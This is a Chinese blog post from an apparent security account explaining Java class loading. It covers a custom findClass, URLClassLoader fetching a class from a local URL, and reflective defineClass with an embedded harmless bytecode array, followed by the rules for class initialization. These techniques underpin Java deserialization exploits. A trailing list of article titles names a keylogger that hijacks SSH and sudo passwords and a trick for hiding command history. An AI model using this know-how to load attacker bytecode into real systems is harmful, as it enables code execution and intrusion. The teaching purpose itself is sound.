应该一看就懂，没什么好讲的【主要就是重写了 findClass 方法，在方法中通过 defineClass 注册到 JVM 。哦，还有不能将 org\example\App.class 文件放在类路径下，不然会由 AppClassLoader 来进行加载（ loadClass 时会先由父加载器加载），不会由我们自定义的加载器来加载】。

运行结果：

生成类字节码的代码：

package org.example;
import java.io.*;
public class JavaByteCode {
    public static void main(String[] args) {
        byte[] bs = getBytesByFile("D:\\JavaWorkspace\\JavaBasic\\target\\classes\\org\\example\\App.class");  // class 文件位置
        for(int i = 0; i < bs.length; i++){
            System.out.print(bs[i] + ",");
        }
    }
    
    private static byte[] getBytesByFile(String pathStr) {
        File file = new File(pathStr);
        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
            byte[] b = new byte[1000];
            int n;
            while ((n = fis.read(b)) != -1) {
                bos.write(b, 0, n);
            }
            fis.close();
            byte[] data = bos.toByteArray();
            bos.close();
            return data;
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
}

02、URLClassLoader

另一种方式，找到一个实现了 findClass 方法的子类 - URLClassLoader 。

核心代码：

URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader ucl = new URLClassLoader(urls);
Class c = ucl.loadClass("Hello");   // Hello.class 放在 url 路径下
c.newInstance();

03、defineClass

转念一想，ClassLoader 动态加载 loadClass 过程中是不是最重要的就是 defineClass 方法，由他注册进 JVM 。那我们是不是可以直接反射出 defineClass 方法将字节码传入注册进去呢？

package org.example;
import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClass {
    public static void main(String[] args) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
//            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKgoACgAYCQAZABoIABsKABwAHQgAHggAHwkACQAgCAAhBwAiBwAjAQAEbmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTG9yZy9leGFtcGxlL0FwcDsBAANzYXkBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAhBcHAuamF2YQwADQAOBwAkDAAlACYBACTvv73vv73vv73st73vv73vv73vv73vv73vv73vv73vv73vv70HACcMACgAKQEAAkhpAQAKbWVkaTBjcjF0eQwACwAMAQAWc3RhdGljIG1ldGhvZCBpbnZva2VkIQEAD29yZy9leGFtcGxlL0FwcAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAJAAoAAAABAAgACwAMAAAAAwAAAA0ADgABAA8AAAA/AAIAAQAAAA0qtwABsgACEgO2AASxAAAAAgAQAAAADgADAAAACwAEAAwADAANABEAAAAMAAEAAAANABIAEwAAAAEAFAAOAAEADwAAADcAAgABAAAACbIAAhIFtgAEsQAAAAIAEAAAAAoAAgAAABsACAAcABEAAAAMAAEAAAAJABIAEwAAAAgAFQAOAAEADwAAADsAAgAAAAAAFxIGswAHsgACsgAHtgAEsgACEgi2AASxAAAAAQAQAAAAEgAEAAAADwAFABIADgATABYAFAABABYAAAACABc=");
            byte[] code = new byte[]{
                    -54,-2,-70,-66,0,0,0,51,0,42,10,0,10,0,24,9,0,25,0,26,8,0,27,10,0,28,0,29,8,0,30,8,0,31,9,0,9,0,32,8,0,33,7,0,34,7,0,35,1,0,4,110,97,109,101,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,17,76,111,114,103,47,101,120,97,109,112,108,101,47,65,112,112,59,1,0,3,115,97,121,1,0,8,60,99,108,105,110,105,116,62,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,8,65,112,112,46,106,97,118,97,12,0,13,0,14,7,0,36,12,0,37,0,38,1,0,36,-17,-65,-67,-17,-65,-67,-17,-65,-67,-20,-73,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,-17,-65,-67,7,0,39,12,0,40,0,41,1,0,2,72,105,1,0,10,109,101,100,105,48,99,114,49,116,121,12,0,11,0,12,1,0,22,115,116,97,116,105,99,32,109,101,116,104,111,100,32,105,110,118,111,107,101,100,33,1,0,15,111,114,103,47,101,120,97,109,112,108,101,47,65,112,112,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,0,33,0,9,0,10,0,0,0,1,0,8,0,11,0,12,0,0,0,3,0,0,0,13,0,14,0,1,0,15,0,0,0,63,0,2,0,1,0,0,0,13,42,-73,0,1,-78,0,2,18,3,-74,0,4,-79,0,0,0,2,0,16,0,0,0,14,0,3,0,0,0,11,0,4,0,12,0,12,0,13,0,17,0,0,0,12,0,1,0,0,0,13,0,18,0,19,0,0,0,1,0,20,0,14,0,1,0,15,0,0,0,55,0,2,0,1,0,0,0,9,-78,0,2,18,5,-74,0,4,-79,0,0,0,2,0,16,0,0,0,10,0,2,0,0,0,27,0,8,0,28,0,17,0,0,0,12,0,1,0,0,0,9,0,18,0,19,0,0,0,8,0,21,0,14,0,1,0,15,0,0,0,59,0,2,0,0,0,0,0,23,18,6,-77,0,7,-78,0,2,-78,0,7,-74,0,4,-78,0,2,18,8,-74,0,4,-79,0,0,0,1,0,16,0,0,0,18,0,4,0,0,0,15,0,5,0,18,0,14,0,19,0,22,0,20,0,1,0,22,0,0,0,2,0,23
            };
            Class app = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "org.example.App", code, 0, code.length);
            app.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

反射相关知识：Java 反序列化 - commons collection 之困（一）。

类加载的生命周期 - 初始化

还想补充一个小点，类加载与初始化。

我们前面提到的 ClassLoader 加载字节码其实只是将类加载到内存，在上图 java 类加载生命周期中完成加载和连接之后，是否需要初始化则需要根据具体场景进行判断。

初始化是做什么呢？主要为类的静态变量赋予正确的初始值，也会执行静态代码块。在初始化之前连接阶段中准备 Preparation 阶段主要为类的静态变量分配内存，并将初始化为默认值。

JVM 规范中有且仅有以下 5 种情况会完成类的初始化（也在加载、连接之后）。

遇到 new 、getstatic 、putstatic 或 invokestatic 这 4 条字节码指令时，如果类没有进行过初始化，则需要先触发其初始化；

使用关键字 new 实例化对象时
读取或设置一个类的静态字段（被 final 修饰、已在编译期把结果放入常量池的静态字段除外）时
调用一个类的静态方法的时候

使用 java.lang.reflect 包的方法对类进行反射调用的时候，如果类没有进行过初始化，则需要先触发其初始化
当初始化一个类的时候，如果发现其父类还没有进行过初始化，则需要先触发其父类的初始化
当虚拟机启动的时候，用户需要指定一个要执行的主类（包含 main() 方法的那个类），虚拟机会先初始化这个类
当使用 JDK1.7 的动态语言支持时，如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果 REF_getStatic、REF_putStatic、REF_invokeStatic 的方法句柄，并且这个方法句柄对应的类没有进行过初始化，则需要先触发其初始化。

以下几种情况不会触发类进行初始化：

引用父类的静态字段，只会引起父类的初始化，而不会引起子类的初始化；
定义类数组，不会引起类的初始化；
引用类的常量（被 static final 修饰的），不会引起类的初始化，已在准备阶段就将其存入调用类的常量池。

package org.example;
class InitClass{
    static {
        System.out.println("初始化InitClass");
    }
    public static String a = null;
    public final static String b = "b";
    public static void method(){}
}
class SubInitClass extends InitClass{
    static {
        System.out.println("初始化SubInitClass");
    }
}
public class Init {
    public static void main(String[] args) throws Exception{
        String a = SubInitClass.a;      // 引用父类的静态字段，只会引起父类初始化，而不会引起子类的初始化
        String b = InitClass.b;         // 使用类的常量不会引起类的初始化
        SubInitClass[] sc = new SubInitClass[10];// 定义类数组不会引起类的初始化
    }
}

为什么想分享初始化呢，因为这个也是我一直没怎么弄清楚的地方吧。

参考链接

[1] 攻击 Java Web 应用 - ClassLoader(类加载机制)

[2] Java 安全漫谈 - java 中动态加载字节码的那些方法

[3] https://www.cnblogs.com/yangyongjie/p/11002844.html

[4] https://blog.csdn.net/zhengzhb/article/details/7517213

阅读原文

跳转微信打开

Medi0cr1ty

xlogger - 劫持任意程序的键盘输入&终端日志

xlogger

使用

SSH Client 密码劫持

SUDO 用户密码劫持

劫持任意程序

代码配置

编译

快速开始

手动编译

日志格式

工具地址

元旦快乐｜SinkFinder更新2.0版本

渗透测试从“入狱”到“越狱”

SinkFinder - 版本更新+LLM能力

代码审计系列之java命令注入科普

写在前面

名词科普

原理科普

注入科普

写在最后

扫描器开发系列之敏感信息提取

0x01 写在前面

0x02 方案介绍

0x03 功能验证

0x04 写在后面

对抗小技巧: IOS环境下支付宝小程序源码的提取

简要说明

操作方法

写在后面

SinkFinder - 闭源系统半自动漏洞挖掘的尝试

对抗小技巧: 一些实用的运维命令

命令补全

多终端历史命令同步

隐藏命令记录

清除指定行历史命令

代理切换

禁止HOMEBREW自动更新

二进制程序统一管理

当前IP查看

文件备份1

文件备份2

linux整机备份

docker备份

判断存在指定文件的docker容器

无netstat看网络连接

Linux一条命令添加用户

ssh密码备份

查看sa权限

etcd备份

k8s备份

查找高权限sa

kubectl安装

最近创建的pod

命令执行不出网

ssh端口转发

甲方安全建设系列之 HTTP 资产清洗

对抗小技巧：利用阿里云OSS做域前置

RCEFuzzer - 被动扫描与fuzz上一些思路的实现

利用Chat2DB溯源攻击者

某安全产品鸡肋SSRF到RCE

0x01 起

0x02 承

0x03 转

0x04 合

利用yakit功能特性溯源攻击者

JsProxy: 所到之处皆为代理节点

几行代码实现 Sliver 样本上线通知

Nuxt开发模式下远程代码执行漏洞(CVE-2023-3224)

从零带你看struts2中ognl命令执行漏洞

ClassLoader 详解 - 论如何使用 ClassLoader 加载自定义类